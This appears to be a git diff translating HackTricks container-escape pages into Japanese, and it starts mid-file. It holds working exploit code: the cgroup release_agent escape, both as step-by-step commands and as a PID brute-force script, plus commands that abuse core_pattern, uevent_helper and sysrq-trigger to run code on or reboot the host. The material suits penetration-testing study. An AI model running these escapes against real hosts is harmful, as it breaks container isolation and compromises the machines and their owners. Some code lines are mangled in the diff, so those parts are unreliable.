1;cat /o ``` +概念実証(PoC)は、`release_agent`ファイルを作成し、その呼び出しをトリガーしてコンテナホスト上で任意のコマンドを実行することでcgroupsを悪用する方法を示しています。以下は、関与するステップの内訳です: -The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved: - -1. **Prepare the Environment:** - - A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup. - - The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative. - +1. **環境の準備:** +- `/tmp/cgrp`というディレクトリが作成され、cgroupのマウントポイントとして機能します。 +- RDMA cgroupコントローラーがこのディレクトリにマウントされます。RDMAコントローラーが存在しない場合は、代わりに`memory` cgroupコントローラーを使用することが推奨されます。 ```shell mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x ``` - -2. **Set Up the Child Cgroup:** - - A child cgroup named "x" is created within the mounted cgroup directory. - - Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file. - +2. **子Cgroupの設定:** +- マウントされたCgroupディレクトリ内に「x」という名前の子Cgroupが作成されます。 +- 「x」Cgroupのnotify_on_releaseファイルに1を書き込むことで通知が有効になります。 ```shell echo 1 > /tmp/cgrp/x/notify_on_release ``` - -3. **Configure the Release Agent:** - - The path of the container on the host is obtained from the /etc/mtab file. - - The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path. - +3. **リリースエージェントの設定:** +- ホスト上のコンテナのパスは、/etc/mtab ファイルから取得されます。 +- 次に、cgroup の release_agent ファイルが、取得したホストパスにある /cmd という名前のスクリプトを実行するように設定されます。 ```shell host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` - -4. **Create and Configure the /cmd Script:** - - The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified. - +4. **/cmd スクリプトの作成と設定:** +- /cmd スクリプトはコンテナ内に作成され、ps aux を実行するように設定され、出力はコンテナ内の /output というファイルにリダイレクトされます。ホスト上の /output の完全なパスが指定されます。 ```shell echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd ``` - -5. **Trigger the Attack:** - - A process is initiated within the "x" child cgroup and is immediately terminated. - - This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container. - +5. **攻撃をトリガーする:** +- "x" 子 cgroup 内でプロセスが開始され、すぐに終了します。 +- これにより `release_agent`(/cmd スクリプト)がトリガーされ、ホスト上で ps aux が実行され、その出力がコンテナ内の /output に書き込まれます。 ```shell sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md index 5c3c57d9f..0e2657ad2 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md @@ -1,27 +1,26 @@ {{#include ../../../../banners/hacktricks-training.md}} -For further details **check the blog port from [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. This is just a summary: +詳細については、**[https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)** のブログポートを確認してください。これは要約に過ぎません: -The technique outlines a method for **executing host code from within a container**, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings. +この技術は、**コンテナ内からホストコードを実行する方法**を概説しており、Kata Containersや特定の `devicemapper` 設定のように、ホスト上のコンテナのファイルシステムパスを隠すストレージドライバ構成によって引き起こされる課題を克服します。 -Key steps: +主なステップ: -1. **Locating Process IDs (PIDs):** Using the `/proc//root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host. -2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc//root/`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container. -3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file. +1. **プロセスID(PID)の特定:** Linuxの擬似ファイルシステム内の `/proc//root` シンボリックリンクを使用して、コンテナ内の任意のファイルにホストのファイルシステムに対して相対的にアクセスできます。これにより、ホスト上のコンテナのファイルシステムパスを知る必要がなくなります。 +2. **PIDバッシング:** ホスト上のPIDを検索するためにブルートフォースアプローチが採用されます。これは、`/proc//root/` に特定のファイルの存在を順次確認することによって行われます。ファイルが見つかると、それに対応するPIDがターゲットコンテナ内で実行されているプロセスに属していることを示します。 +3. **実行のトリガー:** 推測されたPIDパスが `cgroups release_agent` ファイルに書き込まれます。このアクションは `release_agent` の実行をトリガーします。このステップの成功は、出力ファイルの作成を確認することで確認されます。 -### Exploitation Process +### 攻撃プロセス -The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds: +攻撃プロセスは、コンテナ内で実行されているプロセスの正しいPIDを推測してホスト上でペイロードを実行することを目的とした、より詳細な一連のアクションを含みます。以下のように展開されます: -1. **Initialize Environment:** A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation. -2. **Prepare Payload:** The payload script, which contains the commands to be executed on the host, is written and made executable. -3. **Set Up Cgroup:** The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released. -4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`. -5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution. - -PoC from the blog post: +1. **環境の初期化:** ホスト上にペイロードスクリプト(`payload.sh`)が準備され、cgroup操作のためのユニークなディレクトリが作成されます。 +2. **ペイロードの準備:** ホスト上で実行されるコマンドを含むペイロードスクリプトが書かれ、実行可能にされます。 +3. **Cgroupの設定:** cgroupがマウントされ、構成されます。`notify_on_release` フラグが設定され、cgroupが解放されるとペイロードが実行されるようにします。 +4. **PIDのブルートフォース:** ループが潜在的なPIDを反復し、推測された各PIDを `release_agent` ファイルに書き込みます。これにより、ペイロードスクリプトが `release_agent` として設定されます。 +5. **実行のトリガーと確認:** 各PIDについて、cgroupの `cgroup.procs` に書き込まれ、PIDが正しい場合に `release_agent` の実行がトリガーされます。ペイロードスクリプトの出力が見つかるまでループは続き、成功した実行を示します。 +ブログ投稿からのPoC: ```bash #!/bin/sh @@ -60,20 +59,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release TPID=1 while [ ! -f ${OUTPUT_PATH} ] do - if [ $((${TPID} % 100)) -eq 0 ] - then - echo "Checking pid ${TPID}" - if [ ${TPID} -gt ${MAX_PID} ] - then - echo "Exiting at ${MAX_PID} :-(" - exit 1 - fi - fi - # Set the release_agent path to the guessed pid - echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent - # Trigger execution of the release_agent - sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" - TPID=$((${TPID} + 1)) +if [ $((${TPID} % 100)) -eq 0 ] +then +echo "Checking pid ${TPID}" +if [ ${TPID} -gt ${MAX_PID} ] +then +echo "Exiting at ${MAX_PID} :-(" +exit 1 +fi +fi +# Set the release_agent path to the guessed pid +echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent +# Trigger execution of the release_agent +sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" +TPID=$((${TPID} + 1)) done # Wait for and cat the output @@ -81,5 +80,4 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index 718263059..5d7a29e61 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -2,172 +2,168 @@ {{#include ../../../../banners/hacktricks-training.md}} -
+`/proc` と `/sys` の適切な名前空間の分離なしでの露出は、攻撃面の拡大や情報漏洩を含む重大なセキュリティリスクを引き起こします。これらのディレクトリには、誤って設定されたり、無許可のユーザーによってアクセスされた場合、コンテナの脱出、ホストの変更、またはさらなる攻撃を助ける情報を提供する可能性のある機密ファイルが含まれています。たとえば、`-v /proc:/host/proc` を誤ってマウントすると、そのパスベースの性質により AppArmor の保護を回避し、`/host/proc` が保護されなくなります。 -{% embed url="https://websec.nl/" %} - -The exposure of `/proc` and `/sys` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected. - -**You can find further details of each potential vuln in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** +**各潜在的脆弱性の詳細は** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**で確認できます。** ## procfs Vulnerabilities ### `/proc/sys` -This directory permits access to modify kernel variables, usually via `sysctl(2)`, and contains several subdirectories of concern: +このディレクトリは、通常 `sysctl(2)` を介してカーネル変数を変更するためのアクセスを許可し、いくつかの懸念されるサブディレクトリを含んでいます。 #### **`/proc/sys/kernel/core_pattern`** -- Described in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). -- Allows defining a program to execute on core-file generation with the first 128 bytes as arguments. This can lead to code execution if the file begins with a pipe `|`. -- **Testing and Exploitation Example**: +- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) に記載されています。 +- コアファイル生成時に実行するプログラムを定義でき、最初の128バイトが引数として渡されます。ファイルがパイプ `|` で始まる場合、コード実行につながる可能性があります。 +- **テストと悪用の例**: - ```bash - [ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access - cd /proc/sys/kernel - echo "|$overlay/shell.sh" > core_pattern # Set custom handler - sleep 5 && ./crash & # Trigger handler - ``` +```bash +[ -w /proc/sys/kernel/core_pattern ] && echo Yes # 書き込みアクセスのテスト +cd /proc/sys/kernel +echo "|$overlay/shell.sh" > core_pattern # カスタムハンドラを設定 +sleep 5 && ./crash & # ハンドラをトリガー +``` #### **`/proc/sys/kernel/modprobe`** -- Detailed in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- Contains the path to the kernel module loader, invoked for loading kernel modules. -- **Checking Access Example**: +- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) に詳述されています。 +- カーネルモジュールローダーへのパスを含み、カーネルモジュールをロードするために呼び出されます。 +- **アクセス確認の例**: - ```bash - ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe - ``` +```bash +ls -l $(cat /proc/sys/kernel/modprobe) # modprobe へのアクセスを確認 +``` #### **`/proc/sys/vm/panic_on_oom`** -- Referenced in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- A global flag that controls whether the kernel panics or invokes the OOM killer when an OOM condition occurs. +- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) に参照されています。 +- OOM 条件が発生したときにカーネルがパニックを起こすか、OOM キラーを呼び出すかを制御するグローバルフラグです。 #### **`/proc/sys/fs`** -- As per [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contains options and information about the file system. -- Write access can enable various denial-of-service attacks against the host. +- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) に従い、ファイルシステムに関するオプションと情報を含みます。 +- 書き込みアクセスにより、ホストに対するさまざまなサービス拒否攻撃を可能にします。 #### **`/proc/sys/fs/binfmt_misc`** -- Allows registering interpreters for non-native binary formats based on their magic number. -- Can lead to privilege escalation or root shell access if `/proc/sys/fs/binfmt_misc/register` is writable. -- Relevant exploit and explanation: - - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) - - In-depth tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) +- マジックナンバーに基づいて非ネイティブバイナリ形式のインタプリタを登録できます。 +- `/proc/sys/fs/binfmt_misc/register` が書き込み可能な場合、特権昇格やルートシェルアクセスにつながる可能性があります。 +- 関連するエクスプロイトと説明: +- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) +- 詳細なチュートリアル: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) ### Others in `/proc` #### **`/proc/config.gz`** -- May reveal the kernel configuration if `CONFIG_IKCONFIG_PROC` is enabled. -- Useful for attackers to identify vulnerabilities in the running kernel. +- `CONFIG_IKCONFIG_PROC` が有効な場合、カーネル設定を明らかにする可能性があります。 +- 実行中のカーネルの脆弱性を特定するために攻撃者にとって有用です。 #### **`/proc/sysrq-trigger`** -- Allows invoking Sysrq commands, potentially causing immediate system reboots or other critical actions. -- **Rebooting Host Example**: +- Sysrq コマンドを呼び出すことができ、即座にシステムを再起動したり、他の重要なアクションを引き起こす可能性があります。 +- **ホストを再起動する例**: - ```bash - echo b > /proc/sysrq-trigger # Reboots the host - ``` +```bash +echo b > /proc/sysrq-trigger # ホストを再起動 +``` #### **`/proc/kmsg`** -- Exposes kernel ring buffer messages. -- Can aid in kernel exploits, address leaks, and provide sensitive system information. +- カーネルリングバッファメッセージを公開します。 +- カーネルエクスプロイト、アドレスリーク、機密システム情報の提供に役立ちます。 #### **`/proc/kallsyms`** -- Lists kernel exported symbols and their addresses. -- Essential for kernel exploit development, especially for overcoming KASLR. -- Address information is restricted with `kptr_restrict` set to `1` or `2`. -- Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- カーネルがエクスポートしたシンボルとそのアドレスをリストします。 +- KASLR を克服するためのカーネルエクスプロイト開発に不可欠です。 +- アドレス情報は `kptr_restrict` が `1` または `2` に設定されている場合、制限されます。 +- 詳細は [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) にあります。 #### **`/proc/[pid]/mem`** -- Interfaces with the kernel memory device `/dev/mem`. -- Historically vulnerable to privilege escalation attacks. -- More on [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- カーネルメモリデバイス `/dev/mem` とインターフェースします。 +- 歴史的に特権昇格攻撃に対して脆弱です。 +- 詳細は [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) にあります。 #### **`/proc/kcore`** -- Represents the system's physical memory in ELF core format. -- Reading can leak host system and other containers' memory contents. -- Large file size can lead to reading issues or software crashes. -- Detailed usage in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/). +- システムの物理メモリを ELF コア形式で表します。 +- 読み取りはホストシステムや他のコンテナのメモリ内容を漏洩させる可能性があります。 +- 大きなファイルサイズは読み取りの問題やソフトウェアのクラッシュを引き起こす可能性があります。 +- 詳細な使用法は [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) にあります。 #### **`/proc/kmem`** -- Alternate interface for `/dev/kmem`, representing kernel virtual memory. -- Allows reading and writing, hence direct modification of kernel memory. +- カーネル仮想メモリを表す `/dev/kmem` の代替インターフェースです。 +- 読み取りと書き込みが可能で、カーネルメモリの直接変更を許可します。 #### **`/proc/mem`** -- Alternate interface for `/dev/mem`, representing physical memory. -- Allows reading and writing, modification of all memory requires resolving virtual to physical addresses. +- 物理メモリを表す `/dev/mem` の代替インターフェースです。 +- 読み取りと書き込みが可能で、すべてのメモリの変更には仮想アドレスを物理アドレスに解決する必要があります。 #### **`/proc/sched_debug`** -- Returns process scheduling information, bypassing PID namespace protections. -- Exposes process names, IDs, and cgroup identifiers. +- プロセススケジューリング情報を返し、PID 名前空間の保護を回避します。 +- プロセス名、ID、および cgroup 識別子を公開します。 #### **`/proc/[pid]/mountinfo`** -- Provides information about mount points in the process's mount namespace. -- Exposes the location of the container `rootfs` or image. +- プロセスのマウント名前空間内のマウントポイントに関する情報を提供します。 +- コンテナの `rootfs` またはイメージの場所を公開します。 ### `/sys` Vulnerabilities #### **`/sys/kernel/uevent_helper`** -- Used for handling kernel device `uevents`. -- Writing to `/sys/kernel/uevent_helper` can execute arbitrary scripts upon `uevent` triggers. -- **Example for Exploitation**: %%%bash +- カーネルデバイスの `uevents` を処理するために使用されます。 +- `/sys/kernel/uevent_helper` への書き込みは、`uevent` トリガー時に任意のスクリプトを実行する可能性があります。 +- **悪用の例**: %%%bash - #### Creates a payload +#### ペイロードを作成 - echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper +echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper - #### Finds host path from OverlayFS mount for container +#### コンテナの OverlayFS マウントからホストパスを見つける - host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab) +host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab) - #### Sets uevent_helper to malicious helper +#### 悪意のあるヘルパーに uevent_helper を設定 - echo "$host_path/evil-helper" > /sys/kernel/uevent_helper +echo "$host_path/evil-helper" > /sys/kernel/uevent_helper - #### Triggers a uevent +#### uevent をトリガー - echo change > /sys/class/mem/null/uevent +echo change > /sys/class/mem/null/uevent - #### Reads the output +#### 出力を読み取る - cat /output %%% +cat /output %%% #### **`/sys/class/thermal`** -- Controls temperature settings, potentially causing DoS attacks or physical damage. +- 温度設定を制御し、DoS 攻撃や物理的損傷を引き起こす可能性があります。 #### **`/sys/kernel/vmcoreinfo`** -- Leaks kernel addresses, potentially compromising KASLR. +- カーネルアドレスを漏洩させ、KASLR を危険にさらす可能性があります。 #### **`/sys/kernel/security`** -- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor. -- Access might enable a container to disable its MAC system. +- `securityfs` インターフェースを持ち、AppArmor のような Linux セキュリティモジュールの設定を許可します。 +- アクセスにより、コンテナがその MAC システムを無効にする可能性があります。 -#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`** +#### **`/sys/firmware/efi/vars` と `/sys/firmware/efi/efivars`** -- Exposes interfaces for interacting with EFI variables in NVRAM. -- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines. +- NVRAM 内の EFI 変数と対話するためのインターフェースを公開します。 +- 誤設定や悪用により、ラップトップがブリックされたり、ホストマシンが起動不能になる可能性があります。 #### **`/sys/kernel/debug`** -- `debugfs` offers a "no rules" debugging interface to the kernel. -- History of security issues due to its unrestricted nature. +- `debugfs` はカーネルへの「ルールなし」のデバッグインターフェースを提供します。 +- 制限のない性質のため、セキュリティ問題の歴史があります。 ### References @@ -175,8 +171,4 @@ This directory permits access to modify kernel variables, usually via `sysctl(2) - [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf) - [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf) -
- -{% embed url="https://websec.nl/" %} - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md index ce967ad2d..af1a2c558 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md @@ -2,28 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -## What Affects +## 影響するもの -When you run a container as privileged these are the protections you are disabling: +特権コンテナを実行すると、これらの保護が無効になります: -### Mount /dev +### /devのマウント -In a privileged container, all the **devices can be accessed in `/dev/`**. Therefore you can **escape** by **mounting** the disk of the host. +特権コンテナでは、すべての**デバイスが`/dev/`でアクセス可能です**。したがって、ホストのディスクを**マウント**することで**エスケープ**できます。 {{#tabs}} {{#tab name="Inside default container"}} - ```bash # docker run --rm -it alpine sh ls /dev console fd mqueue ptmx random stderr stdout urandom core full null pts shm stdin tty zero ``` - {{#endtab}} -{{#tab name="Inside Privileged Container"}} - +{{#tab name="特権コンテナ内"}} ```bash # docker run --rm --privileged -it alpine sh ls /dev @@ -33,17 +30,15 @@ core mqueue ptmx stdin tty26 cpu nbd0 pts stdout tty27 tty47 ttyS0 [...] ``` - {{#endtab}} {{#endtabs}} -### Read-only kernel file systems +### 読み取り専用カーネルファイルシステム -Kernel file systems provide a mechanism for a process to modify the behavior of the kernel. However, when it comes to container processes, we want to prevent them from making any changes to the kernel. Therefore, we mount kernel file systems as **read-only** within the container, ensuring that the container processes cannot modify the kernel. +カーネルファイルシステムは、プロセスがカーネルの動作を変更するためのメカニズムを提供します。しかし、コンテナプロセスに関しては、カーネルに対して変更を加えることを防ぎたいと考えています。したがって、カーネルファイルシステムをコンテナ内で**読み取り専用**としてマウントし、コンテナプロセスがカーネルを変更できないようにします。 {{#tabs}} {{#tab name="Inside default container"}} - ```bash # docker run --rm -it alpine sh mount | grep '(ro' @@ -52,28 +47,24 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu) cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct) ``` - {{#endtab}} {{#tab name="Inside Privileged Container"}} - ```bash # docker run --rm --privileged -it alpine sh mount | grep '(ro' ``` - {{#endtab}} {{#endtabs}} -### Masking over kernel file systems +### カーネルファイルシステムのマスキング -The **/proc** file system is selectively writable but for security, certain parts are shielded from write and read access by overlaying them with **tmpfs**, ensuring container processes can't access sensitive areas. +**/proc**ファイルシステムは選択的に書き込み可能ですが、セキュリティのために、特定の部分は**tmpfs**で覆われており、コンテナプロセスが機密領域にアクセスできないようにしています。 -> [!NOTE] > **tmpfs** is a file system that stores all the files in virtual memory. tmpfs doesn't create any files on your hard drive. So if you unmount a tmpfs file system, all the files residing in it are lost for ever. +> [!NOTE] > **tmpfs**は、すべてのファイルを仮想メモリに保存するファイルシステムです。tmpfsはハードドライブ上にファイルを作成しません。したがって、tmpfsファイルシステムをアンマウントすると、その中に存在するすべてのファイルは永遠に失われます。 {{#tabs}} {{#tab name="Inside default container"}} - ```bash # docker run --rm -it alpine sh mount | grep /proc.*tmpfs @@ -81,30 +72,26 @@ tmpfs on /proc/acpi type tmpfs (ro,relatime) tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755) tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755) ``` - {{#endtab}} -{{#tab name="Inside Privileged Container"}} - +{{#tab name="特権コンテナ内"}} ```bash # docker run --rm --privileged -it alpine sh mount | grep /proc.*tmpfs ``` - {{#endtab}} {{#endtabs}} -### Linux capabilities +### Linuxの能力 -Container engines launch the containers with a **limited number of capabilities** to control what goes on inside of the container by default. **Privileged** ones have **all** the **capabilities** accesible. To learn about capabilities read: +コンテナエンジンは、デフォルトでコンテナ内で何が行われるかを制御するために、**限られた数の能力**でコンテナを起動します。**特権**のあるものは、**すべての** **能力**にアクセスできます。能力について学ぶには、次を読んでください: {{#ref}} ../linux-capabilities.md {{#endref}} {{#tabs}} -{{#tab name="Inside default container"}} - +{{#tab name="デフォルトコンテナ内"}} ```bash # docker run --rm -it alpine sh apk add -U libcap; capsh --print @@ -113,11 +100,9 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap [...] ``` - {{#endtab}} -{{#tab name="Inside Privileged Container"}} - +{{#tab name="特権コンテナ内"}} ```bash # docker run --rm --privileged -it alpine sh apk add -U libcap; capsh --print @@ -126,15 +111,14 @@ Current: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read [...] ``` - {{#endtab}} {{#endtabs}} -You can manipulate the capabilities available to a container without running in `--privileged` mode by using the `--cap-add` and `--cap-drop` flags. +コンテナに対して利用可能な機能を、`--privileged` モードで実行せずに `--cap-add` および `--cap-drop` フラグを使用して操作できます。 ### Seccomp -**Seccomp** is useful to **limit** the **syscalls** a container can call. A default seccomp profile is enabled by default when running docker containers, but in privileged mode it is disabled. Learn more about Seccomp here: +**Seccomp** は、コンテナが呼び出すことができる **syscalls** を **制限** するのに役立ちます。デフォルトの seccomp プロファイルは、docker コンテナを実行する際にデフォルトで有効ですが、特権モードでは無効になります。Seccomp について詳しくはこちらをご覧ください: {{#ref}} seccomp.md @@ -142,100 +126,86 @@ seccomp.md {{#tabs}} {{#tab name="Inside default container"}} - ```bash # docker run --rm -it alpine sh grep Seccomp /proc/1/status Seccomp: 2 Seccomp_filters: 1 ``` - {{#endtab}} {{#tab name="Inside Privileged Container"}} - ```bash # docker run --rm --privileged -it alpine sh grep Seccomp /proc/1/status Seccomp: 0 Seccomp_filters: 0 ``` - {{#endtab}} {{#endtabs}} - ```bash # You can manually disable seccomp in docker with --security-opt seccomp=unconfined ``` - -Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster, the **seccomp filter is disabled by default** +また、**Kubernetes** クラスターで Docker(または他の CRI)が使用されるとき、**seccomp フィルターはデフォルトで無効**になっていることに注意してください。 ### AppArmor -**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**. When you run with the `--privileged` flag, this protection is disabled. +**AppArmor** は、**コンテナ** を **制限された** **リソース** の **プログラムごとのプロファイル** に制限するためのカーネル拡張です。 `--privileged` フラグを使用して実行すると、この保護は無効になります。 {{#ref}} apparmor.md {{#endref}} - ```bash # You can manually disable seccomp in docker with --security-opt apparmor=unconfined ``` - ### SELinux -Running a container with the `--privileged` flag disables **SELinux labels**, causing it to inherit the label of the container engine, typically `unconfined`, granting full access similar to the container engine. In rootless mode, it uses `container_runtime_t`, while in root mode, `spc_t` is applied. +`--privileged` フラグを使用してコンテナを実行すると、**SELinux ラベル**が無効になり、コンテナエンジンのラベル、通常は `unconfined` を継承し、コンテナエンジンと同様の完全なアクセスを許可します。ルートレスモードでは `container_runtime_t` が使用され、ルートモードでは `spc_t` が適用されます。 {{#ref}} ../selinux.md {{#endref}} - ```bash # You can manually disable selinux in docker with --security-opt label:disable ``` +## 影響を受けないもの -## What Doesn't Affect +### ネームスペース -### Namespaces - -Namespaces are **NOT affected** by the `--privileged` flag. Even though they don't have the security constraints enabled, they **do not see all of the processes on the system or the host network, for example**. Users can disable individual namespaces by using the **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** container engines flags. +ネームスペースは **`--privileged`** フラグの影響を **受けません**。セキュリティ制約が有効になっていないにもかかわらず、例えば **システム上のすべてのプロセスやホストネットワークを見ることはできません**。ユーザーは **`--pid=host`、`--net=host`、`--ipc=host`、`--uts=host`** コンテナエンジンフラグを使用して個々のネームスペースを無効にできます。 {{#tabs}} {{#tab name="Inside default privileged container"}} - ```bash # docker run --rm --privileged -it alpine sh ps -ef PID USER TIME COMMAND - 1 root 0:00 sh - 18 root 0:00 ps -ef +1 root 0:00 sh +18 root 0:00 ps -ef ``` - {{#endtab}} {{#tab name="Inside --pid=host Container"}} - ```bash # docker run --rm --privileged --pid=host -it alpine sh ps -ef PID USER TIME COMMAND - 1 root 0:03 /sbin/init - 2 root 0:00 [kthreadd] - 3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs +1 root 0:03 /sbin/init +2 root 0:00 [kthreadd] +3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs [...] ``` - {{#endtab}} {{#endtabs}} -### User namespace +### ユーザー名前空間 -**By default, container engines don't utilize user namespaces, except for rootless containers**, which require them for file system mounting and using multiple UIDs. User namespaces, integral for rootless containers, cannot be disabled and significantly enhance security by restricting privileges. 